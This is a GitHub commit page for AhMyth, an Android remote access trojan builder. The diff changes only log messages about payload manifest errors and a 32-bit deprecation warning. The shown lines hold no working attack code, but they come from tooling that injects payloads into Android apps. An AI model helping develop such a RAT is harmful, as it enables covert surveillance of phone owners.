Skip to content

Commit

Permalink
Update error logging for promisified building
Browse files Browse the repository at this point in the history
  • Loading branch information
morsmalleo committed Aug 23, 2023
1 parent 3a81aba commit ce9793c
Showing 1 changed file with 3 additions and 6 deletions.
9 changes: 3 additions & 6 deletions AhMyth-Server/app/app/assets/js/controllers/AppCtrl.js
Original file line number Diff line number Diff line change
Expand Up @@ -154,7 +154,7 @@ app.controller("AppCtrl", ($scope) => {

const architecture = process.arch;
if (architecture === 'ia32') {
delayedLog('[!] WARNING: AhMyth will be deprecated for all Operating Systems using 32bit architectures when Apktool reaches v3.0.0.', CONSTANTS.logStatus.WARNING);
delayedLog('[!] WARNING: AhMyth wWill Cease Support for All 32bit Systems Once Apktool reaches v3.0.0.', CONSTANTS.logStatus.WARNING);
} else {
delayedLog('[★] Welcome to AhMyth Android R.A.T', CONSTANTS.logStatus.SUCCESS);
delayedLog('————————————————————————————————————', CONSTANTS.logStatus.SUCCESS);
Expand Down Expand Up @@ -313,9 +313,8 @@ app.controller("AppCtrl", ($scope) => {
} catch (error) {
delayedLog('[x] Error occurred while processing the Payload Manifest:',
CONSTANTS.logStatus.FAIL);
writeErrorLog(error,
'Parsing');
delayedLog('[¡] Error written to "Parsing.log" on',
writeErrorLog(error);
delayedLog('[¡] Error written to "Error.log" on',
CONSTANTS.logStatus.INFO);
delayedLog(logPath,
CONSTANTS.logStatus.INFO);
Expand Down Expand Up @@ -801,8 +800,6 @@ app.controller("AppCtrl", ($scope) => {
return;
}

delayedLog('[★] Searching the Modified Android Manifest for a Suitable Main Class...');

const launcherActivity = getLauncherActivity(result, apkFolder);
if (launcherActivity === -1) {
delayedLog('[x] Cannot Locate a Suitable Main Class in the Manifest!', CONSTANTS.logStatus.FAIL);
Expand Down

0 comments on commit ce9793c

Please sign in to comment.